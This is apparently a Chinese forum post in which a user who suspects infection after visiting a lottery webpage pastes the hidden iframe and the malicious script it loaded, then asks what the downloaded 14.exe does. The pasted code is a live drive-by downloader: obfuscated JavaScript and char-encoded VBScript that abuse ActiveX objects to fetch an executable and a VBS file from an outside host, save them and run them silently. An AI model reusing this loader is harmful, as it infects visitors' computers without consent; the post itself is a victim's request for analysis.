http://lottery.people.com.cn/Buy_Scheme/index.asp?stat=1&Buy_kind=0&play=BJ|F|SSQ&play_Issue=2007017
我上这个网站的时候好像中标了
该页面中有如下一段代码
<iframe src="http://www.our110.com.cn/mm/loue.htm" height="0" border="0"></iframe>
其内容为
<script>var url,path;url="http://www.our110.com.cn/mm/14.exe";path="C:\\14.exe";try{var ado=(document.createElement("
object"));var b1="classid";var b2="clsid:";var b3="BD96C556-";var b4="65A3-11D0-983A-00C04FC29E36";ado.setAttribute(b1,b2+b3+b4);var a1="Microsoft";var a2=".XMLHTTP";var xml=ado.Create
Object(a1+a2,"");var ab="Adodb.";var cd="Stream";var as=ado.create
object(ab+cd,"");var a3="G";var a4="E";var a5="T";xml.Open(a3+a4+a5,url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);as.savetofile(path,2);as.close();var b5="Shell.";var b6="Application";var shell=ado.create
object(b5+b6,"");shell.Shell(pa222th,"","","open",0);}catch(e){};</script><html>
<script language="VBScript">
on error resume next
tcsafe = "http://www.our110.com.cn/mm/tc.vbs"
function rechange(M)
s=Split(M,",")
t=""
For i = 0 To UBound(s)
t=t&Chr(eval(s(i)))
Next
rechange=t
End Function
t="32,70,116,99,99,110,121,116,61,34,111,34,38,34,98,34,38,34,106,34,38,34,101,34,38,34,99,116,34,13,10,32,32,32,32,75,116,99,99,110,121,116,61,34,99,34,38,34,108,34,38,34,97,34,38,34,115,34,38,34,115,34,38,34,105,34,38,34,100,34,13,10,32,32,32,32,116,49,61,34,99,108,115,105,100,58,34,58,116,50,61,34,66,68,57,54,67,53,53,54,45,34,58,116,51,61,34,54,53,65,51,45,34,58,116,52,61,34,49,49,68,48,45,34,58,116,53,61,34,57,56,51,65,45,34,58,116,54,61,34,48,48,67,48,52,70,67,50,57,69,51,54,34,13,10,32,32,32,32,84,116,99,99,110,121,116,61,116,49,38,116,50,38,116,51,38,116,52,38,116,53,38,116,54,13,10,32,32,32,32,77,116,99,99,110,121,116,61,34,77,34,38,34,105,34,38,34,99,114,34,38,34,111,115,111,34,38,34,102,34,38,34,116,34,38,34,46,34,38,34,88,34,38,34,77,34,38,34,76,34,38,34,72,84,84,80,34,13,10,32,32,32,86,116,99,99,110,121,116,61,34,83,34,38,34,104,101,34,38,34,108,34,38,34,108,34,38,34,46,34,38,34,65,34,38,34,112,112,34,38,34,108,34,38,34,105,34,38,34,99,34,38,34,97,34,38,34,116,34,38,34,105,34,38,34,111,110,34,13,10,87,116,99,99,110,121,116,61,34,83,34,38,34,99,34,38,34,114,34,38,34,105,112,34,38,34,116,105,34,38,34,110,34,38,34,103,34,38,34,46,34,38,34,70,34,38,34,105,34,38,34,108,34,38,34,101,34,38,34,83,34,38,34,121,115,34,38,34,116,34,38,34,101,109,34,38,34,79,34,38,34,98,34,38,34,106,34,38,34,101,99,34,38,34,116,34,13,10,32,32,32,32,83,101,116,32,116,99,115,97,102,101,99,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,70,116,99,99,110,121,116,41,13,10,32,32,32,32,116,99,115,97,102,101,99,46,115,101,116,65,116,116,114,105,98,117,116,101,32,75,116,99,99,110,121,116,44,32,84,116,99,99,110,121,116,13,10,32,32,32,32,116,99,115,97,102,101,105,61,77,116,99,99,110,121,116,13,10,32,32,32,32,83,101,116,32,116,99,115,97,102,101,100,32,61,32,116,99,115,97,102,101,99,46,67,114,101,97,116,101,79,98,106,101,99,116,40,116,99,115,97,102,101,105,44,34,34,41,13,10,32,32,32,32,121,104,97,110,103,102,61,34,65,34,38,34,100,34,38,34,111,34,13,10,32,32,32,32,121,104,97,110,103,103,61,34,100,34,38,34,98,34,38,34,46,34,13,10,32,32,32,32,121,104,97,110,103,104,61,34,83,34,38,34,116,34,38,34,114,34,13,10,32,32,32,32,121,104,97,110,103,105,61,34,101,34,38,34,97,34,38,34,109,34,13,10,32,32,32,32,116,99,115,97,102,101,102,61,121,104,97,110,103,102,38,121,104,97,110,103,103,38,121,104,97,110,103,104,38,121,104,97,110,103,105,13,10,32,32,32,32,116,99,115,97,102,101,103,61,116,99,115,97,102,101,102,13,10,32,32,32,32,115,101,116,32,116,99,115,97,102,101,97,32,61,32,116,99,115,97,102,101,99,46,99,114,101,97,116,101,111,98,106,101,99,116,40,116,99,115,97,102,101,103,44,34,34,41,13,10,32,32,32,32,116,99,115,97,102,101,97,46,116,121,112,101,32,61,32,49,13,10,32,32,32,32,116,99,115,97,102,101,104,61,34,71,34,38,34,69,34,38,34,84,34,13,10,32,32,32,32,116,99,115,97,102,101,100,46,79,112,101,110,32,116,99,115,97,102,101,104,44,32,116,99,115,97,102,101,44,32,70,97,108,115,101,13,10,32,32,32,32,116,99,115,97,102,101,100,46,83,101,110,100,13,10,32,32,32,32,116,99,115,97,102,101,57,61,34,116,99,46,118,98,115,34,13,10,32,32,32,32,115,101,116,32,116,99,115,97,102,101,98,32,61,32,116,99,115,97,102,101,99,46,99,114,101,97,116,101,111,98,106,101,99,116,40,87,116,99,99,110,121,116,44,34,34,41,13,10,32,32,32,32,115,101,116,32,116,99,115,97,102,101,101,32,61,32,116,99,115,97,102,101,98,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,13,10,32,32,32,32,116,99,115,97,102,101,97,46,111,112,101,110,13,10,32,32,32,32,116,99,115,97,102,101,56,61,34,116,99,115,97,102,101,97,46,66,117,105,108,100,80,97,116,104,40,116,99,115,97,102,101,97,44,116,99,115,97,102,101,56,41,34,13,10,32,32,32,32,116,99,115,97,102,101,55,61,34,103,117,100,97,110,106,105,109,111,98,46,66,117,105,108,100,80,97,116,104,40,103,117,100,97,110,106,105,109,111,98,44,116,99,115,97,102,101,55,41,34,13,10,32,32,32,32,116,99,115,97,102,101,54,61,34,116,99,115,97,102,101,99,34,38,34,46,34,38,34,66,34,38,34,117,34,38,34,105,34,38,34,108,34,38,34,100,80,34,38,34,97,34,38,34,116,34,38,34,104,40,116,99,115,97,102,101,100,44,116,99,115,97,102,101,54,41,34,13,10,32,32,32,32,116,99,115,97,102,101,53,61,34,116,99,115,97,102,101,100,34,38,34,46,34,38,34,66,34,38,34,117,34,38,34,105,108,34,38,34,100,34,38,34,80,34,38,34,97,116,34,38,34,104,40,116,99,115,97,102,101,102,44,116,99,115,97,102,101,53,41,34,13,10,32,32,32,32,116,99,115,97,102,101,52,61,34,116,99,115,97,102,101,101,34,38,34,46,34,38,34,66,117,34,38,34,105,34,38,34,108,34,38,34,100,34,38,34,80,34,38,34,97,34,38,34,116,34,38,34,104,40,116,99,115,97,102,101,103,44,116,99,115,97,102,101,52,41,34,13,10,32,32,32,32,116,99,115,97,102,101,51,61,34,116,99,115,97,102,101,102,34,38,34,46,34,38,34,66,34,38,34,117,34,38,34,105,34,38,34,108,34,38,34,100,34,38,34,80,97,34,38,34,116,34,38,34,104,40,116,99,115,97,102,101,104,44,116,99,115,97,102,101,52,41,34,13,10,32,32,32,32,116,99,115,97,102,101,50,61,34,116,99,115,97,102,101,103,34,38,34,46,34,38,34,66,34,38,34,117,34,38,34,105,108,34,38,34,100,34,38,34,80,34,38,34,97,34,38,34,116,34,38,34,104,40,116,99,115,97,102,101,105,44,116,99,115,97,102,101,51,41,34,13,10,32,32,32,32,116,99,115,97,102,101,49,61,34,116,99,115,97,102,101,104,34,38,34,46,34,38,34,66,34,38,34,117,34,38,34,105,34,38,34,108,100,34,38,34,80,34,38,34,97,34,38,34,116,34,38,34,104,40,116,99,115,97,102,101,103,44,116,99,115,97,102,101,49,41,34,13,10,32,32,32,32,116,99,115,97,102,101,48,61,34,116,99,115,97,102,101,105,34,38,34,46,34,38,34,66,34,38,34,117,34,38,34,105,34,38,34,108,34,38,34,100,34,38,34,80,34,38,34,97,116,34,38,34,104,40,116,99,115,97,102,101,107,44,116,99,115,97,102,101,48,41,34,13,10,32,32,32,32,116,99,115,97,102,101,57,61,32,116,99,115,97,102,101,98,46,66,117,105,108,100,80,97,116,104,40,116,99,115,97,102,101,101,44,116,99,115,97,102,101,57,41,13,10,32,32,32,32,116,99,115,97,102,101,97,46,119,114,105,116,101,32,116,99,115,97,102,101,100,46,114,101,115,112,111,110,115,101,66,111,100,121,13,10,32,32,32,32,116,99,115,97,102,101,97,46,115,97,118,101,116,111,102,105,108,101,32,116,99,115,97,102,101,57,44,50,13,10,32,32,32,32,116,99,115,97,102,101,97,46,99,108,111,115,101,13,10,32,32,32,32,115,101,116,32,116,99,115,97,102,101,101,32,61,32,116,99,115,97,102,101,99,46,99,114,101,97,116,101,111,98,106,101,99,116,40,86,116,99,99,110,121,116,44,34,34,41,13,10,32,32,32,32,116,99,115,97,102,101,101,46,83,104,101,108,108,69,120,101,99,117,116,101,32,116,99,115,97,102,101,57,44,66,66,83,44,66,66,83,44,34,111,34,38,34,112,34,38,34,101,34,38,34,110,34,44,48"
execute(rechange(t))</script>
</html>
<script language="javascript" src="http://count5.51yes.com/click.aspx?id=55113197&logo=1"></script>
那么这个http://www.our110.com.cn/mm/14.exe是干什么的阿？
